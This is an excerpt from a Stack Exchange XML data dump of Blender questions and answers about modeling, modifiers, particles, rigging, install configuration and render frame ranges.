  <row Id="8877" PostTypeId="1" AcceptedAnswerId="8882" CreationDate="2014-04-25T15:01:50.500" Score="3" ViewCount="117" Body="&lt;p&gt;I was wondering if there's a way to extract the normal of a specifici face to use it later in something else&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case what i'm trying to do is a pipe that, in its start point, goes perpendicular to a specific face of my model. So it would be useful to use the normal of the model to start a spline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;heres a pic:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YqgtB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1867" LastActivityDate="2014-04-25T17:55:43.680" Title="Is there a way to use the normal of a face to model something else?" Tags="&lt;modeling&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8878" PostTypeId="1" AcceptedAnswerId="8879" CreationDate="2014-04-25T15:17:50.217" Score="8" ViewCount="2026" Body="&lt;p&gt;At first, I had a simple text object:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6oeRJ.png&quot; alt=&quot;Screenshot showing my text object &amp;#39;Text&amp;#39;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I pressed &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and selected &lt;code&gt;Mesh from Curve/Meta/Surf/Text&lt;/code&gt; in order to convert the text object into a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to apply the &lt;em&gt;Remesh&lt;/em&gt; modifier, however, it hides my text in normal mode and in the rendered image (it is visible in the edit mode though!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot (normal mode):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2VXLZ.png&quot; alt=&quot;Normal mode after having selected the Remesh modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot (edit mode):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Trtsh.png&quot; alt=&quot;Edit mode after having selected the Remesh modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is my object invisible in the normal mode and when I render it?&lt;/p&gt;&#xA;" OwnerUserId="827" LastActivityDate="2014-04-25T16:22:44.287" Title="&quot;Remesh&quot; modifier hides my text object" Tags="&lt;modifiers&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8879" PostTypeId="2" ParentId="8878" CreationDate="2014-04-25T15:53:42.597" Score="13" Body="&lt;p&gt;The Remesh modifier doesn't seem to work on flat objects so you need to give your text some volume/thickness. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode select all the faces and press &lt;kbd&gt;E&lt;/kbd&gt; and extrude the text a little to give it some volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Remesh modifier will now work but will remove all but one letter of the text until 'Remove Disconnected Pieces' is unchecked on the Remesh modifier.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-04-25T15:53:42.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8880" PostTypeId="1" CreationDate="2014-04-25T15:55:23.227" Score="3" ViewCount="512" Body="&lt;p&gt;I'm trying to make efficient use of texture maps in my code and it would be ideal to bake the displacement of my mesh to the alpha channel of a normalmap. Is this possible (with the BI engine)? Is this a nodes thing? I've not used them before - a good ref or detailed answer would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2996" LastEditorUserId="2217" LastEditDate="2014-07-29T00:28:15.830" LastActivityDate="2014-08-28T01:32:51.537" Title="Bake displacement to alpha channel" Tags="&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8881" PostTypeId="2" ParentId="8878" CreationDate="2014-04-25T16:05:07.737" Score="4" Body="&lt;p&gt;The remesh modifier tries to divide the volume of an object into a bunch of cubes and create new vertices where the edges of the cubes cross the original mesh. This only works if the mesh has a volume. Thus you need to either extrude the mesh or increase the &quot;Extrude&quot; value of the text before you convert it into a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ce8Ag.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also disable &quot;Remove Disconnected Pieces&quot; in the modifier and increase the &quot;Octree Depth&quot; value. This value defines how small the cubes used for the remeshing will be. But be careful, don't set it too high. The number of cubes increase with two to the power of octree depth times three. A value of 6 should be enough.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-04-25T16:22:44.287" LastActivityDate="2014-04-25T16:22:44.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8882" PostTypeId="2" ParentId="8877" CreationDate="2014-04-25T16:59:48.353" Score="3" Body="&lt;p&gt;You can also select the face, then &quot;view-&gt;align view to selected-&gt;front&quot; (shift Numpad &lt;kbd&gt;1&lt;/kbd&gt;) and then change the 3d manipulator to &quot;view&quot; (instead of &quot;global&quot; or &quot;local&quot;). Then you can extrude a vertex along the normal by pressing &quot;&lt;kbd&gt;E&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&quot; or &quot;&lt;kbd&gt;E&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&quot; or use the manipulator to move along the aligned view axis.&lt;/p&gt;&#xA;" OwnerUserId="3274" LastEditorUserId="2217" LastEditDate="2014-04-25T17:55:43.680" LastActivityDate="2014-04-25T17:55:43.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8883" PostTypeId="2" ParentId="8877" CreationDate="2014-04-25T17:01:50.997" Score="2" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Snapping_Modes&quot; rel=&quot;nofollow&quot;&gt;snapping tools&lt;/a&gt; to snap an object to the face of another object, the optional align rotation can also be beneficial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For even more control you can use the face to define your own &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Custom_Orientations&quot; rel=&quot;nofollow&quot;&gt;custom transformations&lt;/a&gt; so you can move and rotate in alignment with the face.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-25T17:01:50.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8884" PostTypeId="2" ParentId="8876" CreationDate="2014-04-25T17:25:20.163" Score="3" Body="&lt;p&gt;Sadly the &lt;code&gt;Record Animation&lt;/code&gt; does not record logic bricks. It only records the actions for physics. Example: a tower falling down and all the pieces scattering across the ground.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-04-25T17:25:20.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8885" PostTypeId="1" AcceptedAnswerId="8890" CreationDate="2014-04-25T17:45:20.127" Score="2" ViewCount="174" Body="&lt;p&gt;I want to have two copies of Blender on my machine that share no settings or preferences. One will be my development copy and the second on is the production version. I need them to be separate because I will be publishing my code to all the production systems and I need this process to be replicated locally for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this because I see that by default they are sharing &lt;strong&gt;'~/Library/Application Support/Blender/2.70/config'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also share &#xA;&lt;strong&gt;'~/Library/Application Support/Blender/2.70/scripts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is problematic because I intend to put my addons here for the production installations. Then my dev install complains there are duplicate addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like this to be easier, especially since it will have to be replicated every upgrade to Blender.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="1363" LastEditDate="2014-04-25T19:25:31.577" LastActivityDate="2014-04-25T19:45:35.877" Title="Need guidance for creating no dependancies between two installs of Blender" Tags="&lt;python&gt;&lt;osx&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8886" PostTypeId="1" AcceptedAnswerId="8893" CreationDate="2014-04-25T18:51:13.423" Score="4" ViewCount="670" Body="&lt;p&gt;Why do the particles in my keyed particle system not go to 2 of the 8 faces of the target mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the target mesh by duplicating the original 1 face 8 times and rotating them so they'd all be in a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They all appear to be one considered 1 object by Blender when in Edit mode, but when in Object mode, 2 of the 8 faces are not:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n3uxA.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when I play the animation, particles do not go to those 2 faces (except for that one lone particle that goes to the uppermost face):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fkaK8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is even weirder: if I duplicate a face that &lt;strong&gt;is&lt;/strong&gt; getting hit by parcitles, move it very near some of the faces that aren't receiving particles, then those faces start getting hit!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bkltx.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/28689&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is my blend file.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-25T21:07:44.150" LastActivityDate="2014-04-25T23:41:03.160" Title="Why do the particles in my keyed particle system not hit 2 of the 8 faces of the target mesh?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8887" PostTypeId="2" ParentId="8715" CreationDate="2014-04-25T19:06:26.687" Score="1" Body="&lt;h2&gt;Faking a Looping Particle System&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One possibility is to have your particle system use many particles moving very quickly, render it, and then cut off the beginning of the rendered animation in a video editing app. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5QW5L.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this short looping video clip, the starting position of the particles does &lt;strong&gt;not&lt;/strong&gt; match the ending position, so it's not a perfect loop, but by having lots of particles moving quickly, the viewer is much less likely to notice this break in the continuity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, my computer is very slow, so it's possible the poor quality of playback I get hides the break in continuity -- maybe on a faster computer, it'd be too obvious, I don't know.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-25T19:16:41.680" LastActivityDate="2014-04-25T19:16:41.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8888" PostTypeId="2" ParentId="7082" CreationDate="2014-04-25T19:20:45.417" Score="1" Body="&lt;p&gt;Try this port of the CMU collection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sites.google.com/a/cgspeed.com/cgspeed/motion-capture/cmu-bvh-conversion&quot; rel=&quot;nofollow&quot;&gt;https://sites.google.com/a/cgspeed.com/cgspeed/motion-capture/cmu-bvh-conversion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It contains a few conversions to popular rigs. I've used those a lot and I never had any problems.&lt;/p&gt;&#xA;" OwnerUserId="3276" LastActivityDate="2014-04-25T19:20:45.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8889" PostTypeId="2" ParentId="7082" CreationDate="2014-04-25T19:40:13.133" Score="2" Body="&lt;p&gt;I suggest using bvh files from this library&#xA;&lt;a href=&quot;http://www.thetrailerspark.com/downloads/Detailed/CMU/Library/BVH/&quot; rel=&quot;nofollow&quot;&gt;CMU-BVH&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On youtube, check out Benjycook Blender MoCap Addon Tutorial, which uses the same library.&#xA;&lt;a href=&quot;http://www.youtube.com/channel/UCxC7A3Mr3s8n0Ub&quot; rel=&quot;nofollow&quot;&gt;BenjyCook&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-04-25T19:40:13.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8890" PostTypeId="2" ParentId="8885" CreationDate="2014-04-25T19:45:35.877" Score="2" Body="&lt;p&gt;At least on Windows, it is enough to create an empty folder &lt;code&gt;config&lt;/code&gt; in &lt;code&gt;Blender\2.70\&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender binary path is for example:&lt;br&gt;&#xA;&lt;code&gt;...\Blender Foundation\Blender\blender.exe&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the version-specific folder is here:&lt;br&gt;&#xA;&lt;code&gt;...\Blender Foundation\Blender\2.70\&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the &lt;code&gt;config&lt;/code&gt; folder like this:&lt;br&gt;&#xA;&lt;code&gt;...\Blender Foundation\Blender\2.70\config\&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender will note the local &lt;code&gt;config&lt;/code&gt; folder on startup and prefer it over the user dir. If you save the startup file or user settings, &lt;code&gt;startup.blend&lt;/code&gt; and &lt;code&gt;userpref.blend&lt;/code&gt; will be created in your local &lt;code&gt;config&lt;/code&gt; folder. Scripts located in the user dir won't be picked up.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-25T19:45:35.877" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8891" PostTypeId="2" ParentId="8864" CreationDate="2014-04-25T20:22:28.423" Score="2" Body="&lt;p&gt;Use Mpeg Output with Mpeg-4 encoding. It produces very small, but crisp video file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, if you want, you can convert it into avi or anyother format, but the size will remain the same. (i use formatfactory to convert my videos, if required).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;usually, a 6 sec video, with 25 fps @ 1280 * 720 takes up 3-4 mb space (without audio).&#xA;The sizes changes with audio (depends on the audio tracks etc, i guess) inclusion as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is as far as i know and it works great for me. &lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-04-25T20:22:28.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8892" PostTypeId="1" AcceptedAnswerId="8897" CreationDate="2014-04-25T23:09:38.763" Score="10" ViewCount="15966" Body="&lt;p&gt;Is there a way to rotate only the origin, without rotating the geometry?&#xA;All I can think of is rotating the whole object in object mode. Once the local axis points in the direction I need, then I go in edit mode and rotate the geometry back in the opposite direction, to its original position. I can live with that, but is there another (faster) way to do this?&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-04-26T01:20:24.547" LastActivityDate="2017-04-20T21:05:55.490" Title="Is there a way to rotate the origin without rotating the geometry?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8893" PostTypeId="2" ParentId="8886" CreationDate="2014-04-25T23:26:51.067" Score="1" Body="&lt;p&gt;If I understand keyed particles correctly, they are particles whose position gets interpolated between a start particle of one particle system and a goal particle which belongs to another particle system. I guess something with the matching of the start and the goal particle goes wrong. I guess this is a bug.&lt;br&gt;&#xA;To solve this problem, you can disable &quot;Even Distribution&quot; in your goal particle system:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6FNMZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result looks like it should:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CmHZe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the faces that seem to be unselected in Object mode: If you disable 'Only Render' in the display settings all faces are marked in object mode. Otherwise only the particles are painted in orange, but since the two faces do not get any particles, they don't light up.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The distribution also works correctly when you set Emit From to &quot;Verts&quot;. But then it will only target the vertices of the faces, and that is probably not what you want.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-04-25T23:41:03.160" LastActivityDate="2014-04-25T23:41:03.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8894" PostTypeId="1" CreationDate="2014-04-25T23:43:56.520" Score="3" ViewCount="14758" Body="&lt;p&gt;I'm trying to recreate these F holes in the body without cutting into the bodies mesh&lt;img src=&quot;https://i.stack.imgur.com/yhEC1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The F holes and body are two separate meshes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TGfaW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am completely lost as to how to cut out a hole in my main body mesh without messing it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to use the F hole mesh to make a hole in the body mesh?&lt;img src=&quot;https://i.stack.imgur.com/icV4a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/a/rDoVR&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/a/rDoVR&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3278" LastEditorUserId="12" LastEditDate="2014-04-26T00:21:09.463" LastActivityDate="2014-04-26T00:21:09.463" Title="Cutting a shape out of an object with another object" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-04-26T00:19:04.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="8895" PostTypeId="2" ParentId="8894" CreationDate="2014-04-25T23:53:48.180" Score="2" Body="&lt;p&gt;You can use knife project.&#xA;(from the wiki)&#xA;Knife projection is a non-interactive tool where you can use objects to cookie-cut into the mesh rather than hand drawing the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works by using the outlines of other selected objects in edit-mode to cut into the mesh, resulting geometry inside the cutters outline will be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outlines can be wire or boundary edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use Knife Project, in 'object' mode select the &quot;cutting object&quot; first then shift select the &quot;object to be cut&quot;. Now tab into edit mode and press &quot;knife project&quot;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DbBBD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-04-26T00:00:29.610" LastActivityDate="2014-04-26T00:00:29.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8896" PostTypeId="2" ParentId="8892" CreationDate="2014-04-26T00:44:56.977" Score="3" Body="&lt;p&gt;In object mode you could press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;, then select &lt;code&gt;Rotation&lt;/code&gt;. That will set the object's global rotation to 0, so in essence you would be rotating the just origin.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-04-26T00:44:56.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8897" PostTypeId="2" ParentId="8892" CreationDate="2014-04-26T02:23:46.490" Score="10" Body="&lt;p&gt;First go into &lt;em&gt;Edit Mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;). Select the whole mesh (&lt;kbd&gt;A&lt;/kbd&gt;) and copy it to the buffer (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DAuls.png&quot; alt=&quot;Mesh copied to buffer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leave &lt;em&gt;Edit Mode&lt;/em&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; and rotate (&lt;kbd&gt;R&lt;/kbd&gt;) your object as you like. Then go back into &lt;em&gt;Edit Mode&lt;/em&gt;, delete the whole mesh (&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;DEL&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A6Ps3.png&quot; alt=&quot;Delete the mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While still in &lt;em&gt;Edit Mode&lt;/em&gt;, paste the mesh from the buffer (&lt;kbd&gt;Space&lt;/kbd&gt; and type &quot;&lt;em&gt;Paste Selection from Buffer&lt;/em&gt;&quot; then hit &lt;kbd&gt;Enter&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQPGZ.png&quot; alt=&quot;Paste Selection from Buffer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now leave &lt;em&gt;Edit Mode&lt;/em&gt; and the mesh is back in place, but the object is rotated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GlofP.png&quot; alt=&quot;Note the rotation shown in the Properties panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a direct button to do what you want, but this is pretty quick to do.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2014-04-26T02:23:46.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8898" PostTypeId="1" AcceptedAnswerId="8902" CreationDate="2014-04-26T02:44:46.343" Score="4" ViewCount="1948" Body="&lt;p&gt;Let's say I only want a section of the timeline to be rendered, and I want the final output to be in RAW AVI format.  How would you do that? Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="3280" LastEditorUserId="2173" LastEditDate="2014-04-26T03:06:02.310" LastActivityDate="2017-10-05T05:51:30.690" Title="How Do You Select Only Part Of a Timeline To Be Rendered?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8899" PostTypeId="1" AcceptedAnswerId="8900" CreationDate="2014-04-26T02:45:39.790" Score="4" ViewCount="3941" Body="&lt;p&gt;How can I make a long strand of bones without having to extrude each one? Here is what I'm trying to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDTe2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-26T02:45:39.790" Title="How can I make a long strand of bones without having to extrude each one?" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8900" PostTypeId="2" ParentId="8899" CreationDate="2014-04-26T02:45:39.790" Score="8" Body="&lt;h2&gt;Subdivide One Large Bone&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thankfully there is a very easy way to do this: simply create one large bone the length you want your final strand of bones to be, then Subdivide that bone repeatedly:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select bone -&gt; &lt;kbd&gt;TAB&lt;/kbd&gt; -&gt; &lt;kbd&gt;W&lt;/kbd&gt; -&gt; Subdivide&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uk9JG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-26T02:45:39.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8901" PostTypeId="1" AcceptedAnswerId="8903" CreationDate="2014-04-26T02:50:21.323" Score="3" ViewCount="5333" Body="&lt;p&gt;For example things might happen in an animation for a few seconds like a flag starting to wave etc. etc. that you don't want anyone to see but you want recording to start 5 seconds into the animation but still have the effects of the wind (or whatever affects) as if that five seconds prior was rendered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="3280" LastActivityDate="2014-04-26T03:21:45.787" Title="How Do You Start Animation At A Specific Frame?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-26T13:53:17.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="8902" PostTypeId="2" ParentId="8898" CreationDate="2014-04-26T02:58:04.847" Score="4" Body="&lt;h2&gt;Specifying Render Output Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can specify a specific start frame and end frame for your render in the Dimensions section of the Render tab:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render tab -&gt; Dimensions section -&gt; set Start Frame and End Frame&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If your animation is 250 frames long, but you only want to render frames 50 - 75, then set the Start Frame to 50 and the End Frame to 75.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also specify your render format to be AVI RAW in the same window:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render tab -&gt; Output section -&gt; AVI RAW&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/30srP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-26T03:29:44.710" LastActivityDate="2014-04-26T03:29:44.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8903" PostTypeId="2" ParentId="8901" CreationDate="2014-04-26T03:16:21.090" Score="3" Body="&lt;h2&gt;Setting the Render Range&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What you need to do is to start your render 5 seconds into your animation. You can accomplish this by setting the start frame to 5 seconds worth of frames into your animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To determine how many frames are in 5 seconds of your animation, look at the Frame Rate setting in the Dimensions section of the Render tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9WIe5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we see that the animation's is set to have 25 frames per second (fps). So, to determine how many frames are in 5 seconds, simply multiply 25fps x 5 seconds = 125 frames. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, just set your Start Frame to 125:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rdTMd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to specify the Start and End Frames for your animation are in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Timeline&quot; rel=&quot;nofollow noreferrer&quot;&gt;Timeline window&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKLlt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a detailed description of how to set the Start Frame and End Frame for your animation, see the answer &lt;a href=&quot;https://blender.stackexchange.com/questions/8898/how-do-you-select-only-part-of-a-timeline-in-blender-to-be-rendered&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also read more about render output settings &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the Blender Manual&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-04-26T03:21:45.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
